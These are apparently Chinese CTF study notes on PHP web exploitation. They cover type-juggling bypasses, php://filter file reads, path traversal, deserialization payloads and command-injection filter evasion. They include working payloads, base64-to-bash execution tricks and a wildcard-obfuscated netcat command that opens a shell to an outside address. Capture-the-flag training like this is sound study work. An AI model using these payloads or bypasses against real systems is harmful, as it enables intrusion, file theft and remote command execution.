代码审计
松散判断
题目:攻防世界
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ //a值大于六百万且长度最大为3-->科学计数法 //b的md5后六位等于8b184b if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ $key1 = 1; }else{ die("Emmm...再想想"); } }else{ die("Emmm..."); } $c=(array)json_decode(@$_GET['c']); //传一个数组c且key=m的值不为数字且大于2022-->m:2023a if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ /* 对key为n的value进行判断,要求n必须为一个数组,并且value的数量必须为2,并且n的第一个value又 必须为一个数组。也就是"n":[[],xxx] */ $d = array_search("DGGJ", $c["n"]);//n:里面必须有DGGJ否则直接die() $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){//循环查看数组中是否含有DGGJ,如果含有的话就直接die()。 $val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }else{ die("no hack"); } }else{ die("no"); } if($key1 && $key2){//key1、key2都为1则拿到flag include "Hgfks.php"; echo "You're right"."\n"; echo $flag; } ?> Emmm...
弱类型语言对变量的数据类型没有限制,可以将变量赋值给任意的其他类型变量,同时变量可以转换成任意其他类型的数据。
如果比较一个数字和字符串或者比较含有数字内容的字符串,则字符串会被转换成数值并且比较时按照数值来进行
并且在松散比较下任何string都等于true
1 == "1admin";//true 0 == "admin1";//true 1 == "adm1in";//false 0 == "adm1in";//true //如果用false和null与字符串数组比较会如何呢? //它们是不会转换成int型的,所以结果是这样的: in_array(null, ['a', 'b', 'c']) //false in_array(false, ['a', 'b', 'c']) //false //还有另外一个看起来比较奇怪的现象: in_array('a', [true, 'b', 'c']) // true array_search('a', [true, 'b', 'c']) // int(0) //因为松散比较下,任何string都等于true。
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}
解析:
- 6e9科学计数法大于六百万
- 53724的md5值后六位为8b184b
- c[]是数组
c["m"]=="2023a"
大于2023且不为数字- c[]有两个键值对满足
count($c["n"]) == 2
c["n"]==[[],0]
满足is_array($c["n"][0]
c["n"]==[[],0]
中的0可以满足$d = array_search("DGGJ", $c["n"]);
,0匹配了"DGGJ"
其它弱类型
json绕过
<?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key == $key) { echo "flag"; }else { echo "fail"; } }else{ echo "~~~~"; } ?>
json_decode()函数会将参数解密成一个数组,判断与key的值是否相等,由于key的值我们并不知道,就可以利用0=="admin"
这种方式进行绕过
array_search绕过
$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ $d = array_search("DGGJ", $c["n"]); $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){ $val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }else{ die("no hack"); } }else{ die("no"); }
官方手册对array_search的介绍
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
- $needle——必须
- $haystack——必需
- $strict——可选 :默认为false,如果设置为true则会进行严格过滤
功能:函数判断$haystack中的值是否存在$needle,存在则返回该值的key
strcmp绕过
<?php $password="***************" if( isset($_POST['password']) ){ if(strcmp($_POST['password'], $password) == 0) { echo "Right!!!login success"; exit(); } else { echo "Wrong password.."; } ?>
strcmp()比较两个字符串,如果两者相等返回0
我们是不知道$password的值的,要求strcmp判断的接受的值和$password必需相等,strcmp传入的期望类型是字符串类型,我们传入 password[]=xxx 可以绕过。
文件包含
php://filter
string.rot13
string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。
php://filter/string.rot13/resource=flag.php
string.tolower
将字符串转化为小写
php://filter/string.strip_tags/resource=flag.php
string.strip_tags
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
php://filter/string.strip_tags/resource=flag.php
convert.base64-encode&convert.base64-decode
php://filter/convert.base64-encode/resource=flag.php
convert.quoted-printable-encode & convert.quoted-printable-decode
转换为可打印字符
php://filter/convert.quoted-printable-encode/resource=flag.php
convert.iconv.*
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。
使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。
convert.iconv.<input-encoding>.<output-encoding> convert.iconv.<input-encoding>/<output-encoding>
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
例如:把内容从UCS-2LE转换为UCS-2BE编码
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
zlib.deflate
php://filter/zlib.deflate/resource=flag.php
zlib.inflate
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
warmup
题目链接:攻防世界
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单 if (! isset($page) || !is_string($page)) { echo "you can't see it";//传入的page必须是字符串 return false; } if (in_array($page, $whitelist)) {//如果page在白名单中则返回1 return true; } $_page = mb_substr(//字符串截断函数 $page, 0, mb_strpos($page . '?', '?')//返回在page中第一个“?”出现的位置 );//综上所述就是要将第一个问号前的值赋给$_page变量 if (in_array($_page, $whitelist)) { return true; } //$_page在白名单中则返回1 $_page = urldecode($page); //对page进行一次url解码赋给$_page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') );//功能同上 if (in_array($_page, $whitelist)) { //_page只要在白名单中(即两个问号之间的内容只要在白名单中,就返回true) return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])//checkfile返回值为1 ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
第一次检查:如果page在白名单中直接就返回1
第二次检查:先在page最后添加一个问号,再把第一个问号前的内容赋值给$_page变量,检查其是否在白名单中,在则返回1
第三次检查:将page进行url解码,在最后添加一个问号再把第一个问号之前的内容赋给$_page,再检查是否在白名单中,在则返回1
如果返回1,则进入include()函数,利用文件包含漏洞获取flag
hint.php已经提示我们flag在ffffllllaaaagggg
/?file=hint.php?ffffllllaaaagggg
这里在进入第二次检查的时候就返回1,即可进入include()函数,只不过目前我们不知道flag文件在哪个目录下,需要逐层找,最终payload:/?file=hint.php?../../../../../ffffllllaaaagggg
注意:include()函数在路径中有../的时候,就不管其他的文件了,所以最后只包含了这个flag文件
反序列化
常见魔术方法
- __construct()
当有类被实例化时自动调用
- __distruct()
当有类被销毁时自动调用
- __call()
当调用一个不能访问到或者不存在的方法时自动调用(类似于抛出一个异常)
- __callStatic()
当调用一个不能访问到或者不存在的静态方法时自动调用
- __get()
当访问一个不能访问到或者不存在的属性时自动调用(类似于抛出一个异常)
- __set()
当给一个不能访问到或者不存在的属性赋值的时候自动调用,参数一会自动获取想要赋值的属性名,参数二自动获取值
- __isset()
当对一个不能访问到或者不存在的属性进行isset()或者empty()判断时这个方法自动调用
- __unset()
当对一个不能访问到或者不存在的属性进行unset()判断时这个方法自动调用
- __sleep()
执行序列化serialize()时自动调用
- __wakeup()
当执行反序列化unserialize()时自动调用
- __toString()
当一个对象被当成字符串使用的时候自动调用
- __invoke()
当一个对象以函数的方法被调用时,该方法被自动调用(也类似于抛出异常)
- __set_state()
导出类的时候这个方法自动调用,其参数1会自动获取到按array('property'=>value,......)格式排列的类属性
- __debuginfo()
使用var_dump()来读取对象,就会触发魔术方法
- __unserialize()
- __serialize()
如果一个类里既有__unserialize()又有__wakeup(),那么__unserialize()中的内容会被执行,而__wakeup()不会
- __clone()
对象被复制时clone()该方法自动调用
网鼎杯
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op;//protected受保护的修饰符,被定义为受保护的类成员则可以被其自身以及其子类和父类访问 protected $filename; protected $content; function __construct() {//构造函数 $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process();//->对象调用类的函数 } public function process() {//process方法 if($this->op == "1") { $this->write();//如果op=1就运行write函数 } else if($this->op == "2") {//注意这个是弱比较 $res = $this->read(); //如果是op=2,运行read函数将运行完的值赋值res,然后将$res放到output函数中 $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content))//判断filname和content是否为空 { if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件 if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) {//输出函数 echo "[Result]: <br>"; echo $s; } function __destruct() {//析构函数 该函数会在类的一个对象被删除时自动调用。 if($this->op === "2")//注意这个是强比较 $this->op = "1";//将1赋值给op $this->content = "";//将content变为空 $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++)//strlen判断字符串长度 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;//ord是以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值 } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
代码运行过程
注意:__construct()函数不会自动调用,而__distruct()会自动调用
is_valid()所有字符的ascii码都必须在[32,125]这个区间-->unserialize()-->__distruct()如果op等于字符串2就改为字符串1-->process()令op等于字符串2即可读取文件-->read()-->file_get_contents()
思路
显然最关键的地方其实是在__distruct()与process()对于op的检验上。
但是我们注意到__distruct()中对于op是强类型检验,而process()中是弱类型检验,我们想要在__distruct()中不等于字符串2而在process()中等于字符串2
那么我们利用强弱类型的比较令op等于数字2即可,因为数字2不强等于字符串2(在__distruct()中),而数字2弱等于字符串2
但是需要注意的是:protected类型的属性序列化后存在不可打印字符,会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid()校验,%00字符ascii码为0,所以不显示,变量前面会存在多出一个*
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content; //因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求) } $a = new FileHandler(); $b = serialize($a); echo $b; ?>
最终payload
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
江苏工匠杯
<?php class ease{ private $method; private $args; //给变量赋值,将传进来的参数依次赋值给method和args function __construct($method, $args) { $this->method = $method; $this->args = $args; } //销毁函数,如果method有ping这个值,就调用这个类ping()函数,参数为args function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } //exec()命令执行,也就是将args当作命令执行 function ping($ip){ exec($ip, $result); var_dump($result); } //过滤了很多字符 function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } //反序列化的魔术方法,对传入的数据逐字符进行黑名单比对 function __wakeup(){ foreach($this->args as $k => $v) { //=>链接键值对,这里k为键、v为值 $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST['ctf']; //提示我们后台反序列化中有base64解码这个过程,那么我们就要编码后再POST @unserialize(base64_decode($ctf)); ?>
代码运行过程
传入字符串ctf-->base64解码-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec()
函数学习
- exec(command,array):用来执行一个外部程序,也就是执行一个传入的命令;将执行结果存入array中
- var_dump():用于判断一个变量的类型与长度,并输出变量的值
- call_user_func_array():
(1)call_user_func_array(string,array)全局函数的回调:string表示要调用的函数名,array是参数列表,按照顺序依次传递给调用的函数
(2)call_user_func_array(array(class_name,function_name),value)类的静态方法的回调:
class_name与function_name组成一个数组,分别为类名和其函数名,value依旧是参数列表
思路:最终目的是让页面执行我们给的命令,也就是说最终要让exec()这个函数生效-->必然要调用ping()-->必然要使用call_user_func_array()-->必然要传入一个序列化的对象,且method为ping,args为我们想要的命令。综上就不难整理出如下操作:
1、实例化一个ease,确定参数类型,序列化并base64传入进行测试
2、测试有效,证明思路没有错,下面就要想办法输入危险代码也就是对waf的绕过
payload生成
<?php $a = array('a'=>'l""s${IFS}f""lag_1""s_here'); $payload = new ease("ping",$a); $result = serialize($payload); echo base64_encode($result); ?>
如何绕过字符过滤
- 插入${Z}
- 插入""空字符
如何绕过空格过滤
linux下
- {cat,flag.txt}
- cat${IFS}flag.txt
- cat$IFS$9flag.txt
- cat<flag.txt
- cat<>flag.txt
- kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
windows下
(实用性不是很广,也就type这个命令可以用)
- type.\flag.txt
- type,flag.txt
- echo,123456
发现array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
虽然得到了路径,但是直接访问是空白的,需要cat一下,但是字符串可以绕过,但是“/”如何绕过呢?
新知识:unicode编码在linux下可以被当作命令执行
八进制\154-->十进制108-->ascii码-->字符I
将命令转换成八进制数再传入
命令转换成八进制的c语言代码:
#include <stdio.h> int main(){ char site[]="cat flag_1s_here/flag_831b69012c67b35f.php"; for(int i = 0; i < sizeof site / sizeof site[0]; i++ ){ printf("\\%o",site[i]); } return 0; }
得到结果:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
最终payload
$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
执行的时候会先执行printf还原回我们原本的命令(此时已经比对过黑名单了)从而拿到flag
绕过过滤
过滤cat等关键字
- c""at fl''ag.tx""t
- c\at fl\at.tx\t
- ca$1t fl$1ag.t$1xt
过滤空格
- ${IFS}
- <>
- %09(仅适用于PHP环境)
黑名单绕过
- 使用shell变量拼接
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;
- 使用反引号包裹base64编码后的命令
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
- 将base64编码后的命令传给bash
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
通配符绕过
/???
会去寻找 /
目录下的三个字符长度的文件,正常情况下会寻找到/bin
,然后/?[a][t]
会优先匹配到/bin/cat
,就成功调用了cat命令,然后后面可以使用正常的通配符匹配所需读的文件,如flag.txt文件名长度为8,使用8个'?',此命令就会读取所有长度为8的文件。
/???/?[a][t] ?''?''?''?''?''?''?''?
/???/[m][o]?[e] ?''?''?''?''?''?''?''?
甚至开启一个shell:
/???/[n]?[t]??[t] 192.168.1.3 4444
长度绕过
使用>>每次添加一部分命令到文件中
echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;
然后使用cat r | bash
来执行
使用换行执行或ls -t:
ca\t flag.t\xt
使用sh a即可执行命令cat flag.txt
ls -t可以按照时间创建顺序逆序输出文件名:
所以可以有> "ag"> "fl\\"> "t \\"> "ca\\"
然后使用ls -t>s
此时s中的文件内容就是sca\t \fl\ag\
解密
题目链接:攻防世界
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str);//反转字符串 for($_0=0;$_0<strlen($_o);$_0++){//对于字符串中的每一个字符 $_c=substr($_o,$_0,1); $__=ord($_c)+1;//ascii右移一位 $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));//base64编码 } highlight_file(__FILE__); ?>
加密过程:
反转-->右移1-->base64-->反转-->左移13或者strrev(右移(base64(strrev(str_rot13(明文)))))
注意解密的时候要从外层括号逐层往内解
解密:
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function decode($str){ $_o=base64_decode(strrev(str_rot13($str))); for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } return strrev($_); } echo decode($miwen); ?>
输出的flag中可能有不可见字符,所以提交不正确的话就手敲一遍再提交